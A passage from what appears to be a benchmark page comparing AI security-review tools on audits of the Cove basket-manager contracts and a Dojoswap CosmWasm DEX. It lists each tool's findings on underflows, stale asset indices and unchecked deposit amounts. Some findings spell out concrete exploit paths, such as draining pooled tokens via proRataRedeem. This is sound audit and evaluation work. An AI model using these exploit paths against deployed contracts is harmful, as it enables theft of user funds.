swapFee = 50 bps. The toBasket holds 1000 WETH. The proposer submits an internal trade whose netBuyAmount is 999.9 WETH and whose initialBuyAmount is 1000.15 WETH. The check passes, and basketBalanceOf[toBasket][WETH] becomes 1000 - 1000.15 wrapped. A holder of the toBasket can then proRataRedeem and drain WETH belonging to other baskets.
- Recommendation
-
Check
initialBuyAmount > basketBalances[toBasketIndex][toBasketBuyTokenIndex]before subtracting, or remove the unchecked block.
Devin Security (Deep)
Internal trade balance check uses the after-fee amount but subtracts the pre-fee amount in unchecked math
src/libraries/BasketManagerUtils.sol:800Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
The buyer basket's balance check and its balance subtraction use different amounts, so an unchecked underflow is possible, though today a later weight check makes the transaction revert before the wrapped value can persist.
##### What's wrong
This is a check-versus-use mismatch inside an
uncheckedblock. The guard comparesinfo.netBuyAmount(after the swap fee) to the buyer basket's balance, but the unchecked subtraction removesinitialBuyAmount(before the fee).##### Who can do it
Bob, who holds the TOKENSWAP_PROPOSER role at Acme, proposes an internal trade while
swapFeeis non-zero, choosing amounts so thatnetBuyAmount <= balance < initialBuyAmount.- The caller has the TOKENSWAP_PROPOSER role and
swapFee > 0.- Today
_isTargetWeightMetruns afterwards and either reverts inside the oracle or returns false for the wrapped balance, so the corrupted value does not survive the transaction. Any change to that check, or a stale asset index (see theupdateBitFlagfinding), would remove this accidental protection.##### What they get
If the wrapped value ever persisted, the buyer basket would own roughly 2^256 units of the buy token on paper and could drain the manager's pooled holdings of that token through
proRataRedeem.##### How it works
1.
_processInternalTradescomputesinitialBuyAmountandnetBuyAmount = initialBuyAmount - feeOnBuy(src/libraries/BasketManagerUtils.sol:786-798).2. It checks
netBuyAmount > basketBalances[to][buy](src/libraries/BasketManagerUtils.sol:806), then executesbasketBalances[to][buy] -= initialBuyAmountinsideuncheckedand writes the result to storage (src/libraries/BasketManagerUtils.sol:816-825).3. For a balance between
netBuyAmountandinitialBuyAmountthe subtraction wraps to a value near 2^256. - Exploit scenario
-
Not specified.
- Recommendation
-
Compare
initialBuyAmount(the amount actually subtracted) against the buyer basket's balance, or subtractnetBuyAmountand account for the fee separately. Verify with a fuzz test that setsswapFee > 0and a buyer balance strictly betweennetBuyAmountandinitialBuyAmount, assertingIncorrectTradeTokenAmount.
-
Missing rebalance-status check in updateBitFlag() leads to incorrect rebalancing cove-3 · 4 writeups High
V12
Mid-rebalance expansion invalidates committed asset identities
src/BasketManager.sol:460Predicted severity: Low- Root cause
-
updateBitFlagneither requires a safe rebalance boundary nor migrates the active commitment. The commitment binds positional weights without binding the composition that defines their asset identities. - Impact
-
An authorized composition update can cause the current rebalance to validate against unintended assets or repeatedly fail target checks, delaying settlement of staged redemptions. Completion may eventually bypass target checks after the retry limit, so this evidence supports misvalidated settlement and delay rather than an unconditional permanent freeze.
- Description
-
updateBitFlagpermits changing a basket's asset set while that basket is included in an active rebalance. The rebalance commitment hashes basket addresses and positional target weights, but not the asset set to which those weights apply. Proposal and completion subsequently load the currentbasketAssetsrather than a committed composition snapshot. Adding an asset earlier in registry order therefore makes the previously committed weights refer to different assets, while appending an asset leaves it outside the old weight array. This failure is distinct from stale index mappings: even with correctly rebuilt indices, the active rebalance would still consume weights committed for the previous composition.
Pashov (Claude Opus 5.5 high)
updateBitFlag leaves basketAssetToIndexPlusOne and base-asset index stale (and is allowed mid-rebalance), corrupting basket accounting
src/BasketManager.sol:460Predicted severity: High- Root cause
-
Incomplete update of the derived index mappings when a basket's asset list changes, and no rebalance-status check.
- Impact
-
(a) Any internal or external trade that touches a new asset reverts with AssetNotFoundInBasket, so the new targets can never be reached. (b) After an index shift, the internal-trade code writes
basketBalances[i][wrongIndex] -/+ amountinto the storage slot of a different token, which corrupts balances. (c) _processPendingDeposits reads balances[baseAssetIndex] and writes basketBalanceOf[basket][basketAssets[baseAssetIndex]], which is now a different token. The real base-asset deposit is never credited, and the other token's balance is inflated, making the basket insolvent and mispricing shares. (d) _finalizeRebalance approves assets[baseAssetIndex] (the wrong token) and then BasketToken.fulfillRedeem pulls the real base asset with transferFrom, which reverts. completeRebalance is then bricked. Changing basketAssets mid-rebalance also breaks _isTargetWeightMet, because the weights and asset arrays no longer line up. - Description
-
updateBitFlag replaces basketAssets[basket] with AssetRegistry.getAssets(newBitFlag), which is ordered by registry index. It does not rebuild basketAssetToIndexPlusOne or basketTokenToBaseAssetIndexPlusOne, and it does not check that the basket is outside an in-progress rebalance. Newly added assets have no index mapping. If a new asset has a lower registry index than existing assets, every existing asset's array position shifts while the stored indices still point to the old positions.
- Exploit scenario
-
The asset registry holds [USDC(0), WETH(1), WBTC(2)] and a basket uses bitFlag 0b110 (WETH, WBTC) with base asset WETH (index 0). The timelock adds USDC by calling updateBitFlag(basket, 0b111). basketAssets becomes [USDC, WETH, WBTC], but the base index still points at 0, now USDC. On the next rebalance, deposited WETH is booked as USDC (basketBalanceOf[USDC] = USDCbal... += WETH amount), and redemptions approve USDC while BasketToken pulls WETH, so the call reverts.
- Recommendation
-
In updateBitFlag, require rebalanceStatus.status == NOT_STARTED, or that the basket is not in basketMask. Clear the old basketAssetToIndexPlusOne entries, rebuild them for the new list, and recompute basketTokenToBaseAssetIndexPlusOne.
Devin Security
updateBitFlag does not refresh asset index mapping and skips the rebalance-in-progress check
src/BasketManager.sol:460Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
When the timelock adds assets to a basket, the basket cannot trade the new assets, and the change can land in the middle of a running rebalance. This harms only availability and needs a timelock action.
##### What's wrong
This is a state synchronization bug.
updateBitFlagreplacesbasketAssets[basket]with the new asset list. It does not writebasketAssetToIndexPlusOnefor the new assets, and it does not refresh the old entries if the asset order changes. Trade code looks up asset positions through that mapping. The function also does not check whether the basket is in the current rebalancebasketMask, whilesetManagementFeeandproRataRedeemdo check this.##### Who can do it
Alice's team at Acme uses the timelock to add a new asset to a live basket. The bug needs no attacker. It follows from a normal admin action.
- Caller holds TIMELOCK_ROLE.
- The new bitFlag adds at least one asset.
##### What they get
Any internal or external trade that touches a new asset reverts with AssetNotFoundInBasket. The basket can then never reach its new target weights. Rebalances that include it keep failing until the retry limit forces them through without meeting the weights. If the order of existing assets shifts, the stale positions can point at the wrong slot in the balance arrays during trade checks. No funds can be stolen through this path.
##### How it works
1. The timelock calls
updateBitFlag(src/BasketManager.sol:460).2. The function overwrites
basketAssets[basket](src/BasketManager.sol:487) and leavesbasketAssetToIndexPlusOnealone.createNewBasketsets that mapping (src/libraries/BasketManagerUtils.sol:210-217).3. Trade processing calls
basketTokenToRebalanceAssetToIndex, which reverts for the missing entries or returns stale ones (src/libraries/BasketManagerUtils.sol:492-509). - Exploit scenario
-
Not specified.
- Recommendation
-
In updateBitFlag, loop over the new asset list and set
basketAssetToIndexPlusOne[basket][assets[i]] = i + 1. Also updatebasketTokenToBaseAssetIndexPlusOneif the base asset moves. Revert if the basket's bit is set inrebalanceStatus.basketMask. To check the fix, write a test that adds an asset with updateBitFlag and then proposes an internal trade into the new asset. The trade must succeed, and updateBitFlag must revert during an active rebalance.
Devin Security (Deep)
updateBitFlag replaces the asset list without refreshing stored asset and base-asset indices
src/BasketManager.sol:460Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
After an admin adds an asset to a basket, the manager's stored per-asset indices, including the base-asset index, can point at the wrong assets, so later rebalances misprice deposits and read and write the wrong balances.
##### What's wrong
Two parallel structures fall out of sync.
updateBitFlagoverwritesbasketAssets[basket]with the new list (ordered by registry index) but leavesbasketAssetToIndexPlusOneandbasketTokenToBaseAssetIndexPlusOneuntouched. Newly added assets have index 0 (not found), and every existing asset whose position shifted keeps a stale index. The function also runs without any rebalance-status guard.##### Who can do it
Tina operates Acme's timelock. A basket holds WETH (registry index 0) and rETH (index 5). She calls
updateBitFlagto add weETH (index 2).basketAssetsbecomes [WETH, weETH, rETH], but rETH's stored index still says position 1, which now belongs to weETH.- The TIMELOCK_ROLE calls
updateBitFlagwith a new bit whose registry index is lower than an existing asset's index (or lower than the base asset's index).##### What they get
No attacker gain, but silent fund misaccounting for every holder of the basket. Internal and external trades on rETH check and update weETH's balance slot, producing phantom or lost balances that feed
proRataRedeemfrom the shared token pool. New assets cannot be traded at all because the index lookup reverts. If the base asset's position shifts, deposits are valued and credited as the wrong token, and_finalizeRebalanceapproves the wrong token beforefulfillRedeempulls the real one, socompleteRebalancereverts permanently for a basket with pending redeems.##### How it works
1.
updateBitFlagwritesbasketAssets[basket] = getAssets(bitFlag)(src/BasketManager.sol:487) and nothing else; indices are only set increateNewBasket(src/libraries/BasketManagerUtils.sol:203, 210-217).2.
basketTokenToRebalanceAssetToIndexreturns the stale position (src/libraries/BasketManagerUtils.sol:492-509);_processInternalTradesand_validateExternalTradesuse it to indexbasketBalancesand to write storage (src/libraries/BasketManagerUtils.sol:767-770, 818-828, 864-883).3.
_processPendingDepositsand_finalizeRebalanceusebasketTokenToBaseAssetIndexPlusOneto selectbasketAssets[basket][baseAssetIndex](src/libraries/BasketManagerUtils.sol:277-283, 1009, 1017, 614-628); if that slot now holds a different token, deposits are credited to it andforceApprovepairs the wrong token withasset(), reverting at src/BasketToken.sol:487.4.
updateBitFlaghas nobasketMaskor status check (src/BasketManager.sol:460-491), so it can also run mid-rebalance and misalign the hashed target weights withbasketAssets. - Exploit scenario
-
Not specified.
- Recommendation
-
In
updateBitFlag, requirerebalanceStatus.status == NOT_STARTED(or that the basket's bit is clear inbasketMask), clear the oldbasketAssetToIndexPlusOneentries, rebuild them for the new asset list, and recomputebasketTokenToBaseAssetIndexPlusOne. Verify with a test that creates a basket with assets at registry indices {0, 5}, adds index 2, then runs an internal trade on the index-5 asset and a pending redeem, asserting balances move on the correct asset and thatcompleteRebalancesucceeds.
- Incorrect swap-fee calculation on feeOnBuy cove-4 High
- Management-fee calculation results in lower effective rate cove-5 High
-
Missing mapping update in BasketToken.updateBitFlag() causes rebalancing failure cove-6 · 8 writeups Medium
V12
Composition expansion leaves custody accounting indices stale
src/BasketManager.sol:483Predicted severity: High- Root cause
-
updateBitFlagmutates the canonical ordered asset set without migratingbasketAssetToIndexPlusOneandbasketTokenToBaseAssetIndexPlusOne. Downstream accounting assumes those creation-time positions still identify the same assets. - Impact
-
Following an authorized composition expansion, subsequent user deposits can create an accounting balance for an asset that was never received, and redemption fulfillment can approve the wrong token and revert. This supports conditional fund loss through incorrect share valuation or cross-basket custody accounting, and disruption of rebalancing when newly added assets cannot be resolved.
- Description
-
updateBitFlagreplacesbasketAssets[basket]and changes the token'sbitFlag, but does not rebuild either asset-position lookup or the stored base-asset position. Both lookups are populated only during basket creation.AssetRegistry.getAssetsreturns assets in registry order, so adding an earlier registered asset can shift existing positions even though the new flag includes every old asset. Subsequent deposit processing values and credits the deposit using the asset at the stale base position, althoughBasketToken.fulfillDepositactually transfers the token's unchanged root asset. Trade validation also uses stale positions, and newly added assets have no lookup entry at all.
Pashov (Claude Opus 5.5 high)
updateBitFlag leaves basketAssetToIndexPlusOne and base-asset index stale (and is allowed mid-rebalance), corrupting basket accounting
src/BasketManager.sol:460Predicted severity: High- Root cause
-
Incomplete update of the derived index mappings when a basket's asset list changes, and no rebalance-status check.
- Impact
-
(a) Any internal or external trade that touches a new asset reverts with AssetNotFoundInBasket, so the new targets can never be reached. (b) After an index shift, the internal-trade code writes
basketBalances[i][wrongIndex] -/+ amountinto the storage slot of a different token, which corrupts balances. (c) _processPendingDeposits reads balances[baseAssetIndex] and writes basketBalanceOf[basket][basketAssets[baseAssetIndex]], which is now a different token. The real base-asset deposit is never credited, and the other token's balance is inflated, making the basket insolvent and mispricing shares. (d) _finalizeRebalance approves assets[baseAssetIndex] (the wrong token) and then BasketToken.fulfillRedeem pulls the real base asset with transferFrom, which reverts. completeRebalance is then bricked. Changing basketAssets mid-rebalance also breaks _isTargetWeightMet, because the weights and asset arrays no longer line up. - Description
-
updateBitFlag replaces basketAssets[basket] with AssetRegistry.getAssets(newBitFlag), which is ordered by registry index. It does not rebuild basketAssetToIndexPlusOne or basketTokenToBaseAssetIndexPlusOne, and it does not check that the basket is outside an in-progress rebalance. Newly added assets have no index mapping. If a new asset has a lower registry index than existing assets, every existing asset's array position shifts while the stored indices still point to the old positions.
- Exploit scenario
-
The asset registry holds [USDC(0), WETH(1), WBTC(2)] and a basket uses bitFlag 0b110 (WETH, WBTC) with base asset WETH (index 0). The timelock adds USDC by calling updateBitFlag(basket, 0b111). basketAssets becomes [USDC, WETH, WBTC], but the base index still points at 0, now USDC. On the next rebalance, deposited WETH is booked as USDC (basketBalanceOf[USDC] = USDCbal... += WETH amount), and redemptions approve USDC while BasketToken pulls WETH, so the call reverts.
- Recommendation
-
In updateBitFlag, require rebalanceStatus.status == NOT_STARTED, or that the basket is not in basketMask. Clear the old basketAssetToIndexPlusOne entries, rebuild them for the new list, and recompute basketTokenToBaseAssetIndexPlusOne.
Pashov (Codex GPT-6 Sol high)
Expanding a basket leaves trade asset indices missing or stale
src/BasketManager.sol:483Predicted severity: Medium- Root cause
-
updateBitFlag updates basketAssets without rebuilding its per-asset index mapping.
- Impact
-
A configured basket can become unable to trade newly added assets or reach its new target weights, blocking normal rebalance settlement.
- Description
-
The bit flag update replaces the ordered basket asset list, but does not rebuild basketAssetToIndexPlusOne. New assets have a zero lookup index, while existing assets shifted by the insertion retain their former indices. Internal and external trade validation then reverts for new assets or reads the wrong balance column for shifted assets.
- Exploit scenario
-
A timelock expands a basket to include an asset. The proposer prepares a trade for that asset, but basketTokenToRebalanceAssetToIndex returns zero and reverts.
- Recommendation
-
Rebuild basketAssetToIndexPlusOne for every asset in the new ordered list whenever the bit flag changes.
Devin Security
updateBitFlag leaves asset index maps stale, so balances are booked to the wrong asset
src/BasketManager.sol:483Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
After the timelock adds an asset to an existing basket, the basket's internal books point at the wrong assets, which can misbook deposits and trades and let the basket's redeemers withdraw tokens that belong to other baskets.
##### What's wrong
This is a stale index bug.
updateBitFlagin src/BasketManager.sol rewritesbasketAssets[basket]from the new bit flag. It does not rebuildbasketAssetToIndexPlusOneorbasketTokenToBaseAssetIndexPlusOne, whichcreateNewBasketsets at basket creation. The asset registry returns assets in registry order. If the new asset sorts before existing ones, every later asset moves to a new position, but the index maps still hold the old positions. The new asset has no index entry at all.##### Who can do it
Acme's timelock calls
updateBitFlagto add rETH to a basket that holds WETH and USDC, a normal admin action. Bob, a user, then deposits WETH into that basket. Nobody acts maliciously, but the next rebalance runs on corrupted indexes.- The timelock calls
updateBitFlagwith a bit flag that adds an asset whose registry position is before an existing asset in the basket.- A rebalance then runs on that basket.
##### What they get
In
_processPendingDeposits, the stale base asset index selects a different asset. Bob's WETH deposit is then booked as a balance of that other asset. The basket's books then show more of that asset than it holds, and pro-rata redeemers of that basket can withdraw tokens that really belong to other baskets in the shared manager. Internal and external trade settlement and weight checks also read and write the wrong slots. Trades that involve the new asset revert withAssetNotFoundInBasket, which can stall rebalances. The harm reaches every basket held by the same BasketManager. It needs the trusted timelock to trigger it.##### How it works
1. BasketManager.updateBitFlag (src/BasketManager.sol:487) sets
basketAssets[basket]to the new asset list and nothing else.2.
basketAssetToIndexPlusOnewas only set in createNewBasket (src/libraries/BasketManagerUtils.sol:209-216), andbasketTokenToBaseAssetIndexPlusOneonly in_setBaseAssetIndex(line 1145).3.
basketTokenToRebalanceAssetToIndex(line 492) returns the old index, or reverts for the new asset.4.
_processInternalTrades(line 752) and_validateExternalTrades(line 843) use those indexes into balance arrays built from the newbasketAssetsorder, so they read and write the wrong asset's balance.5.
_processPendingDeposits(lines 1009-1017) adds the deposit tobasketBalanceOf[basket][basketAssets[basket][baseAssetIndex]], which is now a different asset. - Exploit scenario
-
Not specified.
- Recommendation
-
In updateBitFlag, after setting the new basketAssets, clear and rewrite basketAssetToIndexPlusOne for every asset in the new list. Also recompute basketTokenToBaseAssetIndexPlusOne with _setBaseAssetIndex. Block updateBitFlag while the basket is in an active rebalance. To check the fix, add a test that creates a basket with assets at registry positions 0 and 2, updates the bit flag to add position 1, and asserts that basketTokenToRebalanceAssetToIndex and the base asset index match the new order. A following rebalance with a deposit should credit the base asset.
Devin Security (Deep)
updateBitFlag replaces the asset list without refreshing stored asset and base-asset indices
src/BasketManager.sol:460Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
After an admin adds an asset to a basket, the manager's stored per-asset indices, including the base-asset index, can point at the wrong assets, so later rebalances misprice deposits and read and write the wrong balances.
##### What's wrong
Two parallel structures fall out of sync.
updateBitFlagoverwritesbasketAssets[basket]with the new list (ordered by registry index) but leavesbasketAssetToIndexPlusOneandbasketTokenToBaseAssetIndexPlusOneuntouched. Newly added assets have index 0 (not found), and every existing asset whose position shifted keeps a stale index. The function also runs without any rebalance-status guard.##### Who can do it
Tina operates Acme's timelock. A basket holds WETH (registry index 0) and rETH (index 5). She calls
updateBitFlagto add weETH (index 2).basketAssetsbecomes [WETH, weETH, rETH], but rETH's stored index still says position 1, which now belongs to weETH.- The TIMELOCK_ROLE calls
updateBitFlagwith a new bit whose registry index is lower than an existing asset's index (or lower than the base asset's index).##### What they get
No attacker gain, but silent fund misaccounting for every holder of the basket. Internal and external trades on rETH check and update weETH's balance slot, producing phantom or lost balances that feed
proRataRedeemfrom the shared token pool. New assets cannot be traded at all because the index lookup reverts. If the base asset's position shifts, deposits are valued and credited as the wrong token, and_finalizeRebalanceapproves the wrong token beforefulfillRedeempulls the real one, socompleteRebalancereverts permanently for a basket with pending redeems.##### How it works
1.
updateBitFlagwritesbasketAssets[basket] = getAssets(bitFlag)(src/BasketManager.sol:487) and nothing else; indices are only set increateNewBasket(src/libraries/BasketManagerUtils.sol:203, 210-217).2.
basketTokenToRebalanceAssetToIndexreturns the stale position (src/libraries/BasketManagerUtils.sol:492-509);_processInternalTradesand_validateExternalTradesuse it to indexbasketBalancesand to write storage (src/libraries/BasketManagerUtils.sol:767-770, 818-828, 864-883).3.
_processPendingDepositsand_finalizeRebalanceusebasketTokenToBaseAssetIndexPlusOneto selectbasketAssets[basket][baseAssetIndex](src/libraries/BasketManagerUtils.sol:277-283, 1009, 1017, 614-628); if that slot now holds a different token, deposits are credited to it andforceApprovepairs the wrong token withasset(), reverting at src/BasketToken.sol:487.4.
updateBitFlaghas nobasketMaskor status check (src/BasketManager.sol:460-491), so it can also run mid-rebalance and misalign the hashed target weights withbasketAssets. - Exploit scenario
-
Not specified.
- Recommendation
-
In
updateBitFlag, requirerebalanceStatus.status == NOT_STARTED(or that the basket's bit is clear inbasketMask), clear the oldbasketAssetToIndexPlusOneentries, rebuild them for the new asset list, and recomputebasketTokenToBaseAssetIndexPlusOne. Verify with a test that creates a basket with assets at registry indices {0, 5}, adds index 2, then runs an internal trade on the index-5 asset and a pending redeem, asserting balances move on the correct asset and thatcompleteRebalancesucceeds.
Claude Security (Sonnet 5.5)
updateBitFlag rewrites basketAssets but leaves basketAssetToIndexPlusOne and basketTokenToBaseAssetIndexPlusOne stale, corrupting rebalance accounting
src/BasketManager.sol:487Predicted severity: Medium- Root cause
-
Vulnerable symbol: updateBitFlag
Preconditions: TIMELOCK_ROLE calls updateBitFlag to add an asset to an existing basket; For the base-asset corruption: a newly added asset has a lower registry bit than the base asset (or other assets shift position)
Offending code:
_bmStorage.basketAssets[basket] = AssetRegistry(_bmStorage.assetRegistry).getAssets(bitFlag);
- Impact
-
After any bitFlag update that inserts an asset before the base asset, or after any update at all for trading the new assets, deposit share pricing and per-asset accounting are wrong. This can mean phantom balances that drain other baskets' tokens, trades blocked for new assets, or a permanently reverting completeRebalance that freezes every basket in the stuck batch. Triggering requires the timelock performing its intended operation.
- Description
-
updateBitFlag replaces the basket's asset array with the new registry list, but BasketManagerUtils continues to resolve asset positions through index mappings that are only ever written in createNewBasket. Those stale or missing indexes are then used to address the positional balances arrays and to pick the base asset.
- Exploit scenario
-
A basket was created with assets [A (bit 0), C (bit 2)] and base asset C (stored base index 2). The timelock widens the bitFlag to add B (bit 1), the only operation updateBitFlag permits, so basketAssets becomes [A, B, C]. (1) B has no basketAssetToIndexPlusOne entry, so any internal or external trade involving B reverts with AssetNotFoundInBasket and B can never be bought. (2) C keeps its old index while its array position changed, so balances written through the index land on the wrong element: basketBalanceOf[from][sellToken] is set to another asset's balance minus sellAmount. (3) The stored base index 2 now points at B. At the next proposeRebalance, pending deposits (in C) are valued with B's oracle price, so shares are minted at the wrong price, and basketBalanceOf[B] is credited with C that was actually received. B becomes phantom-backed and can be redeemed pro-rata from other baskets' B. In _finalizeRebalance, forceApprove is granted on B while BasketToken.fulfillRedeem pulls C, so completeRebalance reverts and the global rebalance state stays stuck.
- Recommendation
-
In updateBitFlag, rebuild basketAssetToIndexPlusOne for all assets in the new list (clearing stale entries) and recompute basketTokenToBaseAssetIndexPlusOne from BasketToken.asset(). Refuse the update while the basket is part of an in-progress rebalance.
Claude Security (Opus 5.5)
updateBitFlag rebuilds basketAssets but leaves the cached asset indexes stale, so later lookups read the wrong asset
src/BasketManager.sol:487Predicted severity: High- Root cause
-
Vulnerable symbol: updateBitFlag
Preconditions: TIMELOCK_ROLE calls updateBitFlag with a superset bitFlag that adds an asset whose registry index is lower than the base asset or another existing asset (a normal, supported operation); Strategy has target weights set for the new bitFlag; The rebalance proposer runs proposeRebalance as usual (no attacker privileges needed)
Offending code:
_bmStorage.basketAssets[basket] = AssetRegistry(_bmStorage.assetRegistry).getAssets(bitFlag);
- Impact
-
Share-minting and basket accounting break across tokens. An attacker can claim balances that do not exist and withdraw them from assets pooled across all baskets, which is theft from other baskets. Honest depositors can also be underpaid. Separately, finalization can revert permanently, freezing all future rebalances and pro-rata redemptions for the affected baskets. New assets also have no index entry, so every trade involving them reverts with AssetNotFoundInBasket.
- Description
-
updateBitFlag replaces basketAssets[basket] with a new list sorted by registry index. It does not update basketTokenToBaseAssetIndexPlusOne or basketAssetToIndexPlusOne, which only createNewBasket writes (BasketManagerUtils.sol:212, :1156). If the timelock adds an asset whose registry index is lower than an existing asset's, every later index-based access in proposeRebalance, _processPendingDeposits, _finalizeRebalance, _processInternalTrades and _validateExternalTrades lands on a different token's slot. An unprivileged depositor can then have deposits credited and priced as the wrong token. Also CWE-1285: updateBitFlag swaps in a new, reordered basketAssets array. It never recomputes basketAssetToIndexPlusOne or basketTokenToBaseAssetIndexPlusOne, which are only written once, in createNewBasket (BasketManagerUtils.sol:212, :1156). Every later rebalance indexes the new array with these old indices. Deposit amounts, redeem approvals and internal-trade balance writes then land on a different token than intended. Also CWE-129: AssetRegistry.getAssets(bitFlag) returns assets in registry-index order. When updateBitFlag adds a bit below an existing one, every later asset moves to a new position in basketAssets. The index maps basketTokenToBaseAssetIndexPlusOne and basketAssetToIndexPlusOne are only written in createNewBasket (BasketManagerUtils.sol:212 and :1156), so after the update they still hold the old positions. BasketManagerUtils then uses those stale indices to read and write per-asset balances, and the slot they point to now holds a different token.
- Exploit scenario
-
Registry is [USDC(0), WETH(1), WBTC(2)]. Basket B was created with bitFlag 0b110 and base asset WETH, so its assets are [WETH, WBTC] and its base index is 0. The timelock legitimately calls updateBitFlag(B, 0b111). basketAssets[B] becomes [USDC, WETH, WBTC], but the base index is still 0, which now points to USDC. The attacker calls B.requestDeposit(1e18 WETH). When the rebalance bot calls proposeRebalance, _processPendingDeposits prices 1e18 units as USDC (about $1e12) and mints about 1e6 times the existing supply to the depositor. It also sets basketBalanceOf[B][USDC] += 1e18, while the real WETH it received is never credited. The attacker claims the shares. completeRebalance has no role check, so the attacker calls it 4 times, 15 minutes apart, to exhaust the retries and finalize. Then B.proRataRedeem is called in chunks sized so the USDC payout matches BasketManager's real USDC balance. This drains USDC that belongs to every other basket, plus collected fees, for the cost of 1 WETH. In the other direction (base token worth more per unit than the token now at the stale index), honest depositors lose value with no attacker involved. If B has pending redeems at finalize, forceApprove approves the wrong token and fulfillRedeem's transferFrom of the real base asset reverts. In that case completeRebalance reverts every time it reaches finalize. The global rebalance status cannot return to NOT_STARTED, and proRataRedeem stays blocked for every basket in the mask.
- Recommendation
-
In updateBitFlag, rebuild basketAssetToIndexPlusOne for every asset in the new list, clear the entries for old positions, and recompute basketTokenToBaseAssetIndexPlusOne from BasketToken(basket).asset(), for example by calling _setBaseAssetIndex. Also revert if the basket is part of an active rebalance (basketMask bit set or status != NOT_STARTED). Alternatively, only allow new assets that are appended after all existing ones. Also CWE-1285: In updateBitFlag, after rewriting basketAssets, clear and recompute basketAssetToIndexPlusOne for every asset and recompute basketTokenToBaseAssetIndexPlusOne, e.g. by calling _setBaseAssetIndex with BasketToken(basket).asset(). Also block updateBitFlag while the basket is in rebalanceStatus.basketMask or any rebalance is active. Alternatively, require that new bits are strictly above the highest current bit so existing indices cannot shift, and still register the new assets' indices. Also CWE-129: In updateBitFlag, rebuild basketAssetToIndexPlusOne for every asset in the new array. Clear entries for the old layout and recompute basketTokenToBaseAssetIndexPlusOne by calling _setBaseAssetIndex with the basket's asset(). Alternatively, make basket asset arrays append-only so existing positions never move. Also reject updateBitFlag while the basket is part of an in-progress rebalance (rebalanceStatus.basketMask), and run the hasPausedAssets check there as createNewBasket does.
Vercel Security Review
Expanding a basket leaves stale asset indexes and corrupts deposit accounting
src/BasketManager.sol:487Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. Valid basket expansion changes ordering without rebuilding indexes** -
src/BasketManager.sol:487-490```solidity title="src/BasketManager.sol:487-490"
_bmStorage.basketAssets[basket] = AssetRegistry(_bmStorage.assetRegistry).getAssets(bitFlag);
emit BasketBitFlagUpdated(basket, currentBitFlag, bitFlag, oldId, newId);
// Update the bitFlag in the BasketToken contract
BasketToken(basket).setBitFlag(bitFlag);
```
Adding an earlier-registered asset shifts existing positions, but base-asset and per-asset indexes retain their previous values.
**2. Subsequent deposits are valued using the wrong asset** -
src/libraries/BasketManagerUtils.sol:1008-1009```solidity title="src/libraries/BasketManagerUtils.sol:1008-1009"
pendingDepositValue =
self.eulerRouter.getQuote(pendingDeposit, self.basketAssets[basket][baseAssetIndex], _USD_ISO_4217_CODE);
```
The stale base index also selects the credited holding at line 1017, mispricing shares and creating unbacked asset balances.
**3. Fulfillment actually transfers the unchanged underlying token** -
src/BasketToken.sol:395-397```solidity title="src/BasketToken.sol:395-397"
// Interactions
// transfer the assets to the basket manager
IERC20(asset()).safeTransfer(msg.sender, assets);
```
Ordinary depositors can subsequently redeem fictitious holdings against other baskets' pooled inventory when token prices or decimals differ.
- Exploit scenario
-
Not specified.
- Recommendation
-
On every bitflag update, rebuild basketAssetToIndexPlusOne for the new ordered array and recompute basketTokenToBaseAssetIndexPlusOne from BasketToken(basket).asset(). Prevent updates during an active rebalance so its hashed weights and arrays remain consistent. Test insertion before existing assets with different decimals and prices.
- Potential price manipulation via read-only reentrancy in BasketToken.proRataRedeem() cove-7 Medium
-
-
Dojoswap Rust CosmWasm DEX (Injective). Tasks 2 V12 2/2 Codex Sec 2/2 Pashov Opus — Pashov GPT-6 — Devin 2/2 Devin (Deep) 2/2 Claude Sec 1/2 Claude Opus 0/2 Vercel 1/2
CosmWasm DEX (Injective).
Read the audit report-
Deposit amount is not validated against message funds dojoswap-1 · 6 writeups Critical
V12
Declared deposits need not match received coins
contracts/launchpad/src/msg.rs:23Predicted severity: High- Root cause
-
The custody check validates
info.funds[0].denombut ignoresinfo.funds[0].amount. Participant accounting and payout calculations trust the caller's separateamountargument instead of the actual received coins. - Impact
-
For storage containing the necessary participant records and sufficient shared payout balances, understated attached funds can purchase offering tokens without payment and extract native coins contributed by others. Overstated attached funds are also accepted without equivalent participation credit or a reconciliation refund, leaving the surplus outside participant accounting.
- Description
-
depositchecks the number and denomination of attached coins but never compares their amount with the independently suppliedExecuteMsg::Deposit.amount. It adds the declared amount to bothuser.amountandstate.total_amount, andharvestsubsequently treats these numbers as paid participation when calculating offering tokens and native refunds. Conditional on a preexisting participant key, a sender can attach one raising coin while declaring a substantially larger deposit. With an honest recorded deposit of 100, a zero-amount attacker record, targets of 100 raising and 100 offering, and an attacker declaration of 100 backed by one coin, the resulting total is 200 and the attacker is assigned 50 offering tokens and a 50-coin refund. Fresh deployments are blocked by missing participant initialization; no legacy deployment or record-creation route is established by the searched repository.
Codex Security (GPT-6 Sol)
CreatePair can mint caller-owned LP tokens using factory-held native coins
contracts/dojoswap_factory/src/contract.rs:151Predicted severity: Medium- Root cause
-
CreatePairpersists caller-declared native amounts without binding them to the native coins ininfo.funds. Its reply later builds the pair's funds from those amounts using the factory balance and designates the caller as LP receiver. - Impact
-
The path can transfer factory-held coins to a caller-controlled LP position. It requires an available new pair and enough factory balance for minimum initial liquidity; deployed balances are unknown.
- Description
-
Any caller can create a new pair with native liquidity amounts that exceed the coins attached to
CreatePair. The factory then pays the declared native amount from its own balance and asks the pair to mint the caller LP tokens. - Exploit scenario
-
Caller
assets->TMP_PAIR_INFO-> nativefundsin reply -> pairProvideLiquidity-> LP mint to caller - Recommendation
-
In
CreatePair, require each requested native amount to equal the matching attached coin amount, reject extra denominations, and carry only verified amounts into the reply.
Devin Security
Launchpad deposit credits the declared amount without checking the coins sent (currently masked by a load error)
contracts/launchpad/src/contract.rs:174Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Right now no one can deposit, because a separate bug rejects every new user, but the obvious fix for that bug would let anyone claim a share of the sale they never paid for.
##### What's wrong
This is a missing funds check.
